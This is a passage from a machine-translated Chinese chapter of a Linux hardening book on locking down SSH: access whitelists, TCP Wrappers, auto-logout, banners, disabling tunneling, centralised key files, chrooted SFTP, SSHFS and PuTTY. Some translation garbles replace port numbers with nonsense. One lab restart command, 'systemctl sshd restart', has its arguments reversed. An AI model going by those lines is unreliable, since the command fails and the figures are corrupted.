-. . . -``` - -在 CentOS 上,执行以下操作: - -```sh -sudo useradd frank -sudo passwd frank -. . . -``` - -2. 创建`webadmins`组,并在其中添加弗兰克: - -```sh -sudo groupadd webadmins -sudo usermod -a -G webadmins frank -``` - -3. 从您的主机或另一个虚拟机,让这三个用户登录。然后,将它们注销。 - -4. 在你喜欢的文本编辑器中打开`/etc/ssh/sshd_config`文件。在文件的底部,添加一个带有自己用户名的`AllowUsers`行,如下所示: - -```sh -AllowUsers donnie -``` - -5. 然后,重新启动 SSH 服务,并验证它是否已正确启动: - -```sh -For Ubuntu: -sudo systemctl restart ssh -sudo systemctl status ssh - -For CentOS: -sudo systemctl restart sshd -sudo systemctl status sshd -``` - -6. 重复*第 3 步*。这一次,这三只小猫应该无法登录。在文本编辑器中打开`/etc/ssh/sshd_config`文件。这一次,在文件底部为`webadmins`组添加一个`AllowGroups`行,如下所示: - -```sh -AllowGroups webadmins -``` - -7. 重新启动 SSH 服务,并验证它是否正确启动。 - -从您的主机或另一个虚拟机,让 Frank 尝试登录。你会看到,即使他是`webadmins`组的成员,他仍然会被拒绝。那是因为有你自己用户名的`AllowUsers`行优先。 - -8. 在文本编辑器中打开`sshd_config`,删除在*步骤 4* 中插入的`AllowUsers`行。重新启动 SSH 服务,并验证它是否正确启动。 -9. 尝试登录您自己的帐户,然后尝试登录所有其他用户的帐户。你现在应该看到弗兰克是唯一被允许登录的人。其他用户现在登录虚拟机的唯一方式是从虚拟机的本地控制台登录。 -10. 在虚拟机的本地控制台登录您自己的帐户。从`sshd_config`中删除`AllowGroups`行,重新启动 SSH 服务。 - -您已经到达了实验室的终点–祝贺您! - -您刚刚看到了如何使用 SSH 守护程序自己的配置文件在守护程序级别配置白名单。接下来,我们将研究在网络级别配置白名单。 - -# 使用 TCP 包装器配置白名单 - -这是一个奇怪的名字,但是一个简单的概念。TCP 包装器——单数,而不是复数——监听传入的网络连接,并允许或拒绝连接请求。白名单和黑名单配置在`/etc/hosts.allow`文件和`/etc/hosts.deny`文件中。这两个文件一起工作。如果您在`hosts.allow`创建白名单,但没有向`hosts.deny`添加任何内容,则不会阻止任何内容。这是因为 TCP Wrappers 首先会咨询`hosts.allow`,如果它在那里找到了一个白名单项,它就会跳过在`hosts.deny`中查找。如果连接请求是针对未列入白名单的东西,TCP Wrappers 会咨询`hosts.allow`,发现该连接请求的来源没有什么,然后咨询`hosts.deny`。如果`hosts.deny`中没有,连接请求仍然会通过。所以,配置`hosts.allow`之后,还得配置`hosts.deny`才能屏蔽任何东西。 - -Something that I didn't know until I sat down to write this section is that the Red Hat folk have stripped TCP Wrappers from RHEL 8 and its offspring. So, if you decide to practice with the techniques that I present here, you can do so with either your Ubuntu or CentOS 7 VMs, but not on your CentOS 8 VM. (The Red Hat folk now recommend doing access control via firewalld, rather than TCP Wrappers.) - -You can read about it here: [https://access.redhat.com/solutions/3906701](https://access.redhat.com/solutions/3906701). - -(You'll need a Red Hat account to read the whole article. If you don't need to pay for Red Hat support, you can open a free-of-charge developers' account.) - -现在,有一件事非常重要。总是,*总是*,在配置`hosts.deny`之前先配置`hosts.allow`。这是因为一旦您保存了其中的任何一个文件,新的配置就会立即生效。因此,如果您在远程登录时在`hosts.deny`中配置阻止规则,您的 SSH 连接将在您保存文件后立即中断。返回的唯一方法是进入服务器机房,从本地控制台重新配置。你最好习惯于总是先配置`hosts.allow`的想法,即使你是在本地控制台工作。那样的话,你会一直确信。(然而,令人惊讶的是,还有其他的 TCP 包装教程告诉你先配置`hosts.deny`。这些家伙在想什么?) - -你可以用 TCP Wrappers 做一些相当花哨的小把戏,但现在,我只想让事情变得简单。所以,让我们看看一些最常用的配置。 - -要将单个 IP 地址列入白名单,请在`/etc/hosts.allow`文件中放入一行如下内容: - -```sh -SSHD: 192.168.0.225 -``` - -然后,将这一行放入`/etc/hosts.deny`文件: - -```sh -SSHD: ALL -``` - -现在,如果你试图从`hosts.allow`中列出的 IP 地址以外的任何地方登录,你将被拒绝访问。 - -您也可以在`hosts.allow`中列出多个 IP 地址或网络地址。有关如何操作的详细信息,请参见`hosts.allow`手册页。 - -正如我之前提到的,您可以使用 TCP Wrappers 做一些花哨的事情。但是,既然红帽人已经弃用了它,你最好还是设置防火墙规则。另一方面,只要您需要快速配置访问控制规则,TCP 包装器就可以派上用场。 - -# 配置自动注销和安全横幅 - -最佳安全实践要求人们在离开办公桌前注销电脑。当管理员使用他或她的隔间计算机远程登录敏感服务器时,这一点尤其重要。默认情况下,SSH 允许一个人永远保持登录状态而不会抱怨。但是,您可以将其设置为自动注销空闲用户。我们将看两个快速的方法。 - -# 为本地和远程用户配置自动注销 - -第一种方法将自动注销在本地控制台或通过 SSH 远程登录的空闲用户。进入`/etc/profile.d/`目录,创建`autologout.sh`文件,内容如下: - -```sh -TMOUT=100 -readonly TMOUT -export TMOUT -``` - -这将超时值设置为 100 秒。(`TMOUT`是一个设置超时值的 Linux 环境变量。) - -为每个人设置可执行权限: - -```sh -sudo chmod +x autologout.sh -``` - -注销,然后重新登录。然后,让虚拟机闲置。100 秒后,您应该会看到虚拟机在登录提示符下返回。但是,请注意,如果在您创建此文件时有任何用户已经登录,新的配置将不会对他们生效,直到他们注销然后重新登录。 - -# 在 sshd _ config 中配置自动注销 - -第二种方法只注销通过 SSH 远程登录的用户。不创建`/etc/profile.d/autologout.sh`文件,而是在`/etc/ssh/sshd_config`文件中查找这两行: - -```sh -#ClientAliveInterval 0 -#ClientAliveCountMax 3 -``` - -将它们更改为以下内容: - -```sh -ClientAliveInterval 100 -ClientAliveCountMax 0 -``` - -然后,重新启动 SSH 服务以使更改生效。 - -I've been using 100 seconds for the timeout value in both of these examples. However, you can set the timeout value to suit your own needs. - -您现在知道如何自动注销您的用户。现在,让我们看看设置安全横幅。 - -# 创建登录前安全横幅 - -在[第 2 章](02.html)、*保护用户帐户*中,我向您展示了如何创建一条安全消息,该消息在用户登录后显示*。您可以通过在`/etc/motd`文件中插入一条消息来实现。但是,仔细想想,大家在登录*之前看到一个安全横幅*不是更好吗?你可以通过`sshd_config`做到这一点。* - -首先,我们创建`/etc/ssh/sshd-banner`文件,内容如下: - -```sh -Warning!! Authorized users only. All others will be prosecuted. -``` - -在`/etc/ssh/sshd_config`文件中,查找这一行: - -```sh -#Banner none -``` - -将其更改为: - -```sh -Banner /etc/ssh/sshd-banner -``` - -像往常一样,重新启动 SSH 服务。现在,无论谁远程登录,都会看到如下内容: - -```sh -[donnie@fedora-teaching ~]$ ssh donnie@192.168.0.3 -Warning!! Authorized users only. All others will be prosecuted. -donnie@192.168.0.3's password: -Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-64-generic x86_64) -. . . -. . . -``` - -那么,这个横幅能保证你的系统安全吗?不,但如果你必须把案子拿到法庭上,这可能会有用。有时候,向法官和陪审团证明入侵者知道他们要去不属于他们的地方是很重要的。 - -现在,您已经知道如何设置安全横幅和自动注销,让我们看看一些杂七杂八的设置,不适合任何一个类别。 - -# 配置其他杂项安全设置 - -我们的 SSH 配置比以前安全多了,但是我们仍然可以做得更好。这里有一些小技巧,你可能在其他地方没有见过。 - -# 禁用 X11 转发 - -当您以正常方式 SSH 到服务器时,就像我们一直在做的那样,您只能运行文本模式的程序。如果你试图远程运行任何基于图形用户界面的程序,比如火狐,你会得到一条错误消息。但是,当您打开几乎所有 Linux 发行版的`sshd_config`文件时,您会看到下面这一行: - -```sh -X11Forwarding yes -``` - -这意味着通过正确的选项开关,您可以远程运行基于图形用户界面的程序。假设您正在登录一台安装了图形桌面环境的机器,您可以在登录时使用`-Y`或`-X`选项,如下所示: - -```sh -ssh -X donnie@192.168.0.12 -or -ssh -Y donnie@192.168.0.12 -``` - -这里的问题是,在大多数 Linux 和 Unix 系统上为图形桌面环境提供动力的 X11 协议存在一些安全弱点,使得远程使用它有些危险。坏人有办法利用它来危害整个系统。最好的办法是通过将`X11Forwarding`线更改为以下内容来禁用它: - -```sh -X11Forwarding no -``` - -像往常一样,重新启动 SSH 服务,使其在新配置中被读取。 - -既然知道了 X11 转发,那我们就挖一些隧道吧。 - -# 禁用 SSH 隧道 - -SSH 隧道,或者有时叫做 SSH 端口转发,是一种保护非安全协议的便捷方式。例如,通过 SSH 隧道传输普通的 HTTP,您可以以安全的方式访问不安全的网站。为此,您需要执行以下操作: - -```sh -sudo ssh -L 80:localhost:80 donnie@192.168.0.12 -``` - -我不得不在这里使用`sudo`,因为端口`1024`以下的所有网络端口都是特权端口。如果我要改变网络服务器的配置来监听非特权的高号码端口,我就不需要`sudo`。 - -现在,为了以安全的方式连接到该站点,我只需在本地计算机上打开 web 浏览器并键入以下 URL: - -```sh -http://localhost -``` - -是的,通过输入`localhost`来访问远程机器似乎很奇怪,但这是我用 SSH 登录时使用的指示器。我本可以用另一个名字,但是`localhost`是你传统上在 SSH 教程中看到的名字,所以我在这里照着做。现在,只要我注销 SSH 会话,我与 web 服务器的连接就会中断。 - -尽管这听起来是个好主意,但它实际上造成了一个安全问题。假设您的公司防火墙被设置为阻止人们回家并远程访问他们公司的工作站。这是件好事,对吗?现在,假设公司防火墙必须允许出站 SSH 连接。用户可以创建一个 SSH 隧道,从他们的公司工作站到另一个位置的计算机,然后到那个位置,创建一个反向隧道回到他们的公司工作站。因此,如果无法在防火墙上阻止传出的 SSH 流量,那么您最好禁用 SSH 隧道。在您的`sshd_config`文件中,确保您有如下几行: - -```sh -AllowTcpForwarding no -AllowStreamLocalForwarding no -GatewayPorts no -PermitTunnel no -``` - -像往常一样重新启动 SSH 服务。现在,端口隧道将被禁用。 - -现在您已经知道如何禁用 SSH 隧道,让我们来谈谈更改默认端口。 - -# 更改默认 SSH 端口 - -默认情况下,SSH 监听端口`22` /TCP。如果你已经有一段时间了,你肯定已经看到了很多关于使用其他端口是多么重要的文档,以便让坏人更难找到你的 SSH 服务器。但是,我必须说,这个概念有点争议。 - -首先,如果启用密钥身份验证并禁用密码身份验证,则更改端口的价值有限。当一个扫描机器人找到你的服务器,看到密码认证被禁用,它就会消失,不会再打扰你。其次,如果你要换端口,坏人的扫描工具还是能找到的。不信就去 Shodan.io 搜索`ssh`。在这个例子中,有人认为他们通过切换到端口`2211`是聪明的: - -![](img/23cf74d4-eaf5-4d2b-8f21-a682fb4ef2d6.png) - -是的,自作聪明。这并没有很好地隐藏事情,现在,是吗? - -另一方面,安全专家丹尼尔·米斯勒说,改变端口仍然是有用的,以防有人试图利用零日漏洞攻击 SSH。他最近公布了自己做的一个非正式实验的结果,在这个实验中,他设置了一个公共服务器,监听到端口`22`和端口`24`的 SSH 连接,并观察到每个端口的连接尝试次数。他说,仅在一个周末,就有 18000 条线路连接到 T2 港,只有 5 条连接到 T3 港。但是,虽然他没有明确表示,似乎他没有启用密码验证。为了获得真正科学准确的结果,他需要在禁用密码验证的情况下进行同样的研究。他还需要在为端口`22`或端口`24`启用 SSH 的独立服务器上进行研究,而不是在单台机器上同时启用这两个端口。我的预感是,当扫描机器人发现端口`22`是打开的时候,他们根本懒得扫描其他任何打开的 SSH 端口。 - -You can read about his experiment here: [https://danielmiessler.com/study/security-by-obscurity/](https://danielmiessler.com/study/security-by-obscurity/). - -无论如何,如果你确实想改变端口,只需取消`sshd_config`中`#Port 22`行的注释,将端口号改变为你想要的。 - -接下来,我们来谈谈密钥管理。 - -# 管理 SSH 密钥 - -之前,我向您展示了如何在本地工作站上创建一对密钥,然后将公钥传输到远程服务器。这允许您在服务器上禁用用户名/密码身份验证,使坏人更难闯入。我们没有解决的唯一问题是,公钥进入了用户自己主目录中的`authorized_keys`文件。因此,用户可以手动向文件中添加额外的密钥,这将允许用户从授权位置之外的其他位置登录。此外,还有一个问题是在每个用户的主目录中到处都有`authorized_keys`文件。这使得跟踪每个人的钥匙变得有点困难。 - -处理这种情况的一种方法是将每个人的`authorized_keys`文件移动到一个中心位置。让我们带上维基,我坚实的灰色小猫。管理员在服务器上创建了一个她需要访问的帐户,并允许她在禁用密码身份验证之前创建并向其传输密钥。因此,Vicky 现在在服务器的主目录中有她的`authorized_keys`文件,正如我们在这里看到的: - -```sh -vicky@ubuntu-nftables:~$ cd .ssh -vicky@ubuntu-nftables:~/.ssh$ ls -l -total 4 --rw------- 1 vicky vicky 233 Oct 3 18:24 authorized_keys -vicky@ubuntu-nftables:~/.ssh$ -``` - -Vicky 拥有这个文件,她对它有读写权限。所以,即使管理员禁用密码认证后,她无法正常向其传输其他密钥,她仍然可以手动传输密钥文件,并手动编辑`authorized_keys`文件以包含它们。为了挫败她的努力,我们无畏的管理员将在`/etc/ssh/`目录中创建一个目录来保存每个人的`authorized_keys`文件,如下所示: - -```sh -sudo mkdir /etc/ssh/authorized-keys -``` - -我们无畏的管理员的完全管理权限允许他登录到根用户的外壳,这允许他们进入所有其他用户的目录: - -```sh -donnie@ubuntu-nftables:~$ sudo su - -[sudo] password for donnie: -root@ubuntu-nftables:~# cd /home/vicky/.ssh -root@ubuntu-nftables:/home/vicky/.ssh# ls -l -total 4 --rw------- 1 vicky vicky 233 Oct 3 18:24 authorized_keys -root@ubuntu-nftables:/home/vicky/.ssh# -``` - -下一步是将 Vicky 的`authorized_keys`文件移动到新位置,将其名称更改为`vicky`,如下所示: - -```sh -root@ubuntu-nftables:/home/vicky/.ssh# mv authorized_keys /etc/ssh/authorized-keys/vicky - -root@ubuntu-nftables:/home/vicky/.ssh# exit -donnie@ubuntu-nftables:~$ -``` - -现在,我们有一个难题。这里可以看到,文件仍然属于 Vicky,她同时拥有读写权限。因此,她仍然可以在没有任何管理员权限的情况下编辑文件。删除写权限是行不通的,因为文件属于她,她可以将写权限添加回来。将所有权更改为 root 用户是答案的一部分,但这将阻止 Vicky 读取文件,从而阻止她登录。要查看整个解决方案,让我们看看我已经用自己的`authorized_keys`文件做了什么: - -```sh -donnie@ubuntu-nftables:~$ cd /etc/ssh/authorized-keys/ -donnie@ubuntu-nftables:/etc/ssh/authorized-keys$ ls -l -total 8 --rw------- 1 vicky vicky 233 Oct 3 18:24 vicky --rw-r-----+ 1 root root 406 Oct 3 16:24 donnie -donnie@ubuntu-nftables:/etc/ssh/authorized-keys$ -``` - -你们当中眼尖的人肯定注意到了`donnie`档的情况。您已经看到,我将所有权更改为根用户,然后添加了一个访问控制列表,如`+`符号所示。让我们为维基做同样的事情: - -```sh -donnie@ubuntu-nftables:/etc/ssh/authorized-keys$ sudo chown root: vicky - -donnie@ubuntu-nftables:/etc/ssh/authorized-keys$ sudo setfacl -m u:vicky:r vicky - -donnie@ubuntu-nftables:/etc/ssh/authorized-keys$ -``` - -查看权限设置,我们看到 Vicky 拥有对`vicky`文件的读取权限: - -```sh -donnie@ubuntu-nftables:/etc/ssh/authorized-keys$ ls -l -total 8 --rw-r-----+ 1 root root 406 Oct 3 16:24 donnie --rw-r-----+ 1 root root 233 Oct 3 18:53 vicky -donnie@ubuntu-nftables:/etc/ssh/authorized-keys$ -``` - -在此过程中,让我们看看她的访问控制列表: - -```sh -donnie@ubuntu-nftables:/etc/ssh/authorized-keys$ getfacl vicky -# file: vicky -# owner: root -# group: root -user::rw- -user:vicky:r-- -group::--- -mask::r-- -other::--- -donnie@ubuntu-nftables:/etc/ssh/authorized-keys$ -``` - -Vicky 现在可以读取文件以便登录,但是她不能更改它。 - -最后一步是重新配置`sshd_config`文件,然后重启 SSH 服务。在文本编辑器中打开文件,并查找这一行: - -```sh -#AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2 -``` - -将其更改为: - -```sh -AuthorizedKeysFile /etc/ssh/authorized-keys/%u -``` - -行尾的`%u`是一个迷你宏,告诉 SSH 服务寻找一个与登录用户同名的密钥文件。现在,即使用户在他们自己的主目录中手动创建他们自己的`authorized_keys`文件,SSH 服务也会忽略它们。另一个好处是,如果需要的话,将所有的密钥放在一个地方会让管理员更容易撤销某人的访问权限。 - -请注意,管理 SSH 密钥的内容比我在这里介绍的要多得多。一个问题是,虽然有一些不同的管理公钥的免费开源软件解决方案,但没有任何管理私钥的解决方案。一个大公司可能在不同的地方有数千甚至数百万的私钥和公钥。那些密钥永远不会过期,所以除非被删除,否则它们将永远存在。如果错误的人获得了私钥,您的整个系统可能会受到损害。虽然我很不想说,但管理 SSH 密钥的最佳选择是采用商业解决方案,例如来自[https://www.ssh.com/](https://www.ssh.com/)和赛博方舟的解决方案。 - -Check out the key management solutions from SSH.com here: [https://www.ssh.com/iam/ssh-key-management/](https://www.ssh.com/iam/ssh-key-management/). -Head here for CyberArk's: [https://www.cyberark.com/solutions/by-project/ssh-key-security-management/](https://www.cyberark.com/solutions/by-project/ssh-key-security-management/). -Full disclosure: I have no connection with either [https://www.ssh.com/](https://www.ssh.com/) or CyberArk, and receive no payment for telling you about them. - -在这里,您已经学习了一些增强服务器安全性的很酷的技巧。现在,让我们看看如何为不同的用户和组创建不同的配置。 - -# 为不同的用户和组设置不同的配置 - -在服务器端,您可以使用`Match User`或`Match Group`指令为某些用户或组设置自定义配置。要了解它是如何完成的,请看`/etc/ssh/sshd_config`文件最底部的例子。在那里,您将看到以下内容: - -```sh -# Match User anoncvs -# X11Forwarding no -# AllowTcpForwarding no -# PermitTTY no -# ForceCommand cvs server -``` - -当然,这没有影响,因为它被评论出来了,但没关系。以下是我们对用户`anoncvs`的看法: - -* 他不能做 *X11* 转发。 -* 他不会做 TCP 转发。 -* 他不会使用指挥终端。 -* 他一登录,就会启动**并发版本服务** ( **CVS** )服务器。通过不使用终端,`anoncvs`可以启动 CVS 服务器,但不能做其他任何事情。 - -您可以根据需要为任意多的用户设置不同的配置。您在自定义配置中输入的任何内容都将覆盖全局设置。要为组设置自定义配置,只需将`Match User`替换为`Match Group`,并提供组名而不是用户名。 - -# 为不同的主机创建不同的配置 - -为了改变节奏,我们现在来看看客户端。这一次,我们将看一个方便的技巧来帮助减轻登录到需要不同密钥或 SSH 选项的不同服务器的痛苦。你所要做的就是进入自己主目录中的`.ssh`目录,创建一个`config`文件。为了演示这一点,假设我们已经为我们的服务器创建了一个 DNS 记录或一个`/etc/hosts`文件条目,这样我们就不必记住这么多的 IP 地址。 - -假设我们已经为需要访问的每台服务器创建了一对单独的密钥。在`~/.ssh/config`文件中,我们可以添加一个类似如下的小节: - -```sh -Host ubuntu-nftables - IdentityFile ~/.ssh/unft_id_rsa - IdentitiesOnly yes - ForwardX11 yes - Cipher aes256-gcm@openssh.com -``` - -细分如下: - -* `IdentityFile`:指定该服务器附带的密钥。 -* `IdentitiesOnly yes`:如果您的会话密钥环中恰好加载了多个密钥,这将强制您的客户端仅使用此处指定的密钥。 -* `ForwardX11 yes`:我们希望这个客户端使用 *X11* 转发。(当然,这只有在服务器配置为允许的情况下才会有效。) -* `Cipher aes256-gcm@openssh.com`:我们要用这个算法,而*只有*这个算法,才能执行我们的加密。 - -要为其他主机创建自定义配置,只需在此文件中为每个主机添加一个小节。 - -保存文件后,必须将其权限设置更改为`600`值。如果不这样做,当您尝试登录文件中配置的任何服务器时,您将会得到一个错误。 - -现在您已经了解了定制配置,让我们来谈谈 SFTP,在那里我们将很好地利用我们刚刚看到的`Match Group`指令。 - -# 为 SFTP 用户建立一个客户环境 - -**安全文件传输协议** ( **SFTP** )是执行安全文件传输的绝佳工具。有一个命令行客户端,但用户很可能会使用图形客户端,如 FileZilla。网站所有者将网络内容文件上传到网络服务器上适当的内容目录。使用默认的 SSH 设置,任何在 Linux 机器上拥有用户帐户的人都可以通过 SSH 或 SFTP 登录,并且可以浏览服务器的整个文件系统。对于 SFTP 用户,我们真正想要的是阻止他们通过 SSH 登录到命令提示符,并将他们限制在自己指定的目录中。 - -# 创建组并配置 sshd _ config 文件 - -除了用户创建命令略有不同之外,当我们到达动手实验室时,此过程适用于您的任何一台虚拟机。 - -我们将首先创建一个`sftpusers`组: - -```sh -sudo groupadd sftpusers -``` - -创建用户帐户并将其添加到`sftpusers`组。我们将一步完成这两个操作。在您的 CentOS 机器上,创建 Max 帐户的命令如下: - -```sh -sudo useradd -G sftpusers max -``` - -在您的 Ubuntu 机器上,它将如下所示: - -```sh -sudo useradd -m -d /home/max -s /bin/bash -G sftpusers max -``` - -在你喜欢的文本编辑器中打开`/etc/ssh/sshd_config`文件。找到下面这句话: - -```sh -Subsystem sftp /usr/lib/openssh/sftp-server -``` - -将其更改为以下内容: - -```sh -Subsystem sftp internal-sftp -``` - -此设置允许您禁用特定用户的正常 SSH 登录。 - -在`sshd_config`文件的底部,添加一个`Match Group`小节: - -```sh -Match Group sftpusers - ChrootDirectory /home - AllowTCPForwarding no - AllowAgentForwarding no - X11Forwarding no - ForceCommand internal-sftp -``` - -这里需要考虑的一个重要问题是`ChrootDirectory`必须归根用户所有,除了根用户之外的任何人都不能写。当麦克斯登录时,他将在`/home`目录中,然后必须将`cd`放入自己的目录中。这也意味着你希望你所有用户的主目录都有限制性的`700`权限设置,以便让每个人都远离其他人的东西。 - -保存文件并重新启动 SSH 守护程序。然后,尝试通过普通 SSH 以 Max 身份登录,就为了看看会发生什么: - -```sh -donnie@linux-0ro8:~> ssh max@192.168.0.8 -max@192.168.0.8's password: -This service allows sftp connections only. -Connection to 192.168.0.8 closed. -donnie@linux-0ro8:~> -``` - -好吧,所以他不能这么做。现在,让马克斯尝试通过 SFTP 登录,并验证他是否在`/home`目录中: - -```sh -donnie@linux-0ro8:~> sftp max@192.168.0.8 -max@192.168.0.8's password: -Connected to 192.168.0.8. -drwx------ 7 1000 1000 4096 Nov 4 22:53 donnie -drwx------ 5 1001 1001 4096 Oct 27 23:34 frank -drwx------ 3 1003 1004 4096 Nov 4 22:43 katelyn -drwx------ 2 1002 1003 4096 Nov 4 22:37 max -sftp> -``` - -现在,让我们看看他试图将`cd`从`/home`目录中删除: - -```sh -sftp> cd /etc -Couldn't stat remote file: No such file or directory -sftp> -``` - -所以,我们的监狱确实有效。 - -# 动手实验–为 sftpusers 组设置 chroot 目录 - -在本实验中,您可以使用 CentOS 虚拟机或 Ubuntu 虚拟机。您将添加一个组,然后配置`sshd_config`文件以允许组成员只能通过 SFTP 登录,然后将他们限制在自己的目录中。对于模拟客户端机器,您可以使用您的 macOS 或 Linux 桌面机器的终端,或者您的 Windows 机器上任何可用的 Bash shells。让我们开始吧: - -1. 创建`sftpusers`组: - -```sh -sudo groupadd sftpusers -``` - -2. 为 Max 创建一个用户帐户,并将其添加到`sftpusers`组。在 CentOS 上,执行以下操作: - -```sh -sudo useradd -G sftpusers max -``` - -在 Ubuntu 上,执行以下操作: - -```sh -sudo useradd -m -d /home/max -s /bin/bash -G sftpusers max -``` - -3. 对于 Ubuntu,确保用户的主目录都被设置为仅具有目录用户的读、写和执行权限。如果不是这样,请执行以下操作: - -```sh -sudo chmod 700 /home/* -``` - -4. 在首选文本编辑器中打开`/etc/ssh/sshd_config`文件。找到下面这句话: - -```sh -Subsystem sftp /usr/lib/openssh/sftp-server -``` - -将其更改为以下内容: - -```sh -Subsystem sftp internal-sftp -``` - -5. 在`sshd_config`文件的末尾,添加以下小节: - -```sh -Match Group sftpusers - ChrootDirectory /home - AllowTCPForwarding no - AllowAgentForwarding no - X11Forwarding no - ForceCommand internal-sftp -``` - -6. 重新启动 SSH 守护程序。在 CentOS 上,执行以下操作: - -```sh -sudo systemctl sshd restart -``` - -在 Ubuntu 上,执行以下操作: - -```sh -sudo systemctl ssh restart -``` - -7. 让 Max 尝试通过普通 SSH 登录,看看会发生什么: - -```sh -ssh max@IP_Address_of_your_vm -``` - -8. 现在,让马克斯通过 SFTP 登录。一旦他进入,让他尝试从`/home`目录中`cd`出来: - -```sh -sftp max@IP_Address_of_your_vm -``` - -您已经到达了实验室的终点–祝贺您! - -现在,您已经知道如何安全地配置 SFTP,让我们看看如何安全地共享一个目录。 - -# 与 SSHFS 共享一个目录 - -有几种方法可以在网络上共享目录。在企业设置中,您可以找到**网络文件系统** ( **NFS** )、Samba 和各种分布式文件系统。SSHFS 在企业中的使用并不多,但它仍然可以派上用场。它的美妙之处在于,它的所有网络流量都是默认加密的,不像 NFS 或桑巴。此外,除了安装 SSHFS 客户端程序和创建本地装载点目录之外,它不需要任何超出您已经完成的配置。它对于访问基于云的**虚拟专用服务器** ( **VPS** )上的目录特别方便,因为它允许您只在共享目录中创建文件,而不是使用`scp`或`sftp`命令来传输文件。如果你准备好了,我们就开始吧。 - -# 动手实验–与 SSHFS 共享一个目录 - -在本实验中,我们将使用两个虚拟机。对于服务器,您可以使用 Ubuntu、CentOS 7 或 CentOS 8。客户端可以是 Ubuntu,也可以是 CentOS 7。(在撰写本文时,CentOS 8 仍然没有我们为此需要安装的客户端软件包。但是,正如我一直说的,当你读到这篇文章的时候,这可能会改变。)我们开始吧: - -1. 为服务器启动一个虚拟机。(这就是您需要为服务器端做的一切。) -2. 在您将用作客户端的另一个虚拟机上,在您自己的主目录中创建一个装载点目录,如下所示: - -```sh -mkdir remote - -``` - -3. 在客户端虚拟机上,安装 SSHFS 客户端。在 Ubuntu 上,执行以下操作: - -```sh -sudo apt install sshfs -``` - -在 CentOS 7 上,执行以下操作: - -```sh -sudo yum install fuse-sshfs -``` - -4. 从客户机上,挂载服务器上自己的主目录: - -```sh -sshfs donnie@192.168.0.10: /home/donnie/remote -``` - -Note that if you don't specify a directory to share, the default is to share the home directory of the user account that's being used for logging in. - -5. 使用`mount`命令验证目录安装是否正确。您应该会在输出的底部看到新的共享挂载: - -```sh -donnie@ubuntu-nftables:~$ mount -. . . -. . . -donnie@192.168.0.10: on /home/donnie/remote type fuse.sshfs (rw,nosuid,nodev,relatime,user_id=1000,group_id=1004) -``` - -6. `cd`进入`remote`目录并创建一些文件。验证它们确实出现在服务器上。 -7. 在服务器虚拟机的本地控制台上,在您自己的主目录中创建一些文件。验证它们是否出现在客户端虚拟机的`remote`目录中。 - -您已经到达了实验室的终点–祝贺您! - -在本实验中,我刚刚向您展示了如何从远程服务器挂载您自己的主目录。您也可以通过在`sshfs`命令中指定其他服务器目录来挂载它们。例如,假设我想挂载`/maggie_files`目录,将`~/remote3`目录作为我的本地挂载点。(我选择这个名字是因为猫玛吉坐在我面前,我的键盘应该在那里。)只需执行以下操作: - -```sh -sshfs donnie@192.168.0.53:/maggie_files /home/donnie/remote3 -``` - -您也可以通过在`/etc/fstab`文件中添加一个条目,使远程目录在每次启动客户端机器时自动挂载。但是,这通常不是一个好主意。如果在引导客户机时服务器不可用,可能会导致引导过程挂起。 - -好了,您已经看到了如何使用 SSHFS 创建与共享远程目录的加密连接。现在让我们从 Windows 桌面机器登录到服务器。 - -# 从 Windows 桌面远程连接 - -我知道,我们所有的鹏人都想用 Linux,除了 Linux 什么都不用。但是,在企业环境中,事情并不总是这样。在那里,您很可能不得不从您办公桌上的 Windows 10 台式机上管理您的 Linux 服务器。在[第 1 章](01.html)*在虚拟环境中运行 Linux*中,我向您展示了如何使用 Cygwin 或新的 Windows 10 外壳远程连接到您的 Linux 虚拟机。您也可以使用这些技术来连接到实际的 Linux 服务器。 - -但是,一些商店要求管理员使用终端程序,而不是像 Cygwin 这样的成熟的 Bash Shell。通常,这些商店会要求您在 Windows 机器上使用 **PuTTY** 。 - -PuTTY is a free program that you can download from here: [https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html](https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html). - -安装简单。只需双击安装程序文件并浏览安装程序屏幕: - -![](img/213c7c39-5802-4667-a79e-1f6d7978d59d.png) - -您可以从 Windows 10 开始菜单打开 PuTTY 用户手册: - -![](img/0fd64f5e-eed0-47cf-bb2b-a53b8c588c54.png) - -连接到远程 Linux 机器很容易。只需输入机器的 IP 地址,然后点击打开: - -![](img/36e86903-9a32-4cc8-b032-40d61107deac.png) - -请注意,这也为您提供了保存会话的选项。因此,如果您必须管理多台服务器,您可以打开 PuTTY,只需单击要连接的服务器的名称,然后单击打开: - -![](img/f69057ac-0063-49d6-b0e8-0522976d36c5.png) - -如您所见,这比每次需要登录服务器时都必须手动键入`ssh`命令要方便得多,并且它可以防止您必须记住多个服务器的整个 IP 地址列表。(但是当然,您可以通过为需要管理的每台 Linux 机器创建一个登录 shell 脚本,用 Cygwin 或 Windows 10 shell 完成同样的事情。) - -无论哪种方式,您都将在远程机器的 Bash Shell 中结束: - -![](img/77f6f6a4-55e1-42ff-949a-51d5cfe5bd74.png) - -要设置密钥交换身份验证,请使用 PuTTYgen 创建密钥对。唯一的小问题是,您必须通过手动将密钥复制并粘贴到服务器的`authorized_keys`文件中,将公钥传输到服务器: - -![](img/3c586aa1-54fb-47cd-aa4f-a7713ce71968.png) - -我已经向您介绍了 PuTTY 的基本知识。您可以阅读 PuTTY 手册来了解细节。 - -好了,我想我们对安全外壳套件的讨论到此结束。 - -# 摘要 - -在这一章中,我们已经看到了安全外壳的默认配置并不像我们希望的那样安全,并且我们已经看到了该怎么做。我们已经了解了如何设置基于密钥的身份验证,并且了解了许多可以锁定 SSH 服务器的不同选项。我们还研究了如何禁用弱加密算法,以及 RHEL 8/CentOS 8 上新的全系统加密策略如何让这变得非常容易。在此过程中,我们研究了设置访问控制,以及为不同的用户、组和主机创建不同的配置。在演示了如何将 SFTP 用户限制在他们自己的主目录之后,我们使用 SSHFS 来共享一个远程目录。我们在这一章的最后介绍了一种从 Windows 桌面机登录 Linux 服务器的简便方法。 - -他们的缺席引人注目的是你可能在其他地方看到推荐的几项技术。端口敲门和 Fail2Ban 是两种流行的技术,可以帮助控制对 SSH 服务器的访问。但是,只有当您允许对 SSH 服务器进行基于密码的身份验证时,才需要它们。如果您设置了基于密钥的身份验证,正如我在这里向您展示的那样,您就不需要增加其他解决方案的复杂性。 - -在下一章中,我们将深入研究自由访问控制的主题。到时候见。 - -# 问题 - -1. 以下哪一项是正确的陈述? - -a)安全外壳在其默认配置中是完全安全的。 -B)允许根用户使用 